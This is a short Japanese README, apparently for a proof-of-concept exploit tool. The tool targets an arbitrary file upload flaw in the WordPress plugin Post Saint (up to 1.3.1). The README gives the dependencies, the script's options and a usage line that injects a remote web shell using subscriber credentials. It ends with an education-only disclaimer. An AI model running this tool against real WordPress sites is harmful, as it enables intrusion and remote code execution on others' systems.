nxploited/cve-2024-1247-pocWordPress用プラグイン Post Saint <= 1.3.1 任意ファイルアップロード
WordPress 用プラグイン Post Saint <= 1.3.1 の任意ファイルアップロード
WordPress 用の Post Saint プラグイン (バージョン 1.3.1 まで) には、権限チェックとファイルタイプ検証の欠如により、任意のファイルアップロードの脆弱性があります。少なくとも購読者レベルのアクセス権を持つ認証済み攻撃者は、この脆弱性を悪用して任意のファイルをアップロードし、リモートコード実行につなげる可能性があります。
pip install requests packaging urllib3
CVE-2024-12471 | Post Saint plugin for wordpress Arbitrary File Upload
options:
-h, --help show this help message and exit
-u URL, --url URL Base URL of the WordPress site
-un USERNAME, --username USERNAME
WordPress username
-p PASSWORD, --password PASSWORD
WordPress password
-ru REMOTE_URL, --remote_url REMOTE_URL
Remote URL of the shell file to inject
python CVE-2024-12471.py -u <Base URL> -un <Username> -p <Password> -ru <Remote Shell URL>
このスクリプトは教育および研究目的のみに使用してください。所有していない、または明示的なテスト許可を得ていないシステムに対する不正使用は、違法かつ非倫理的です。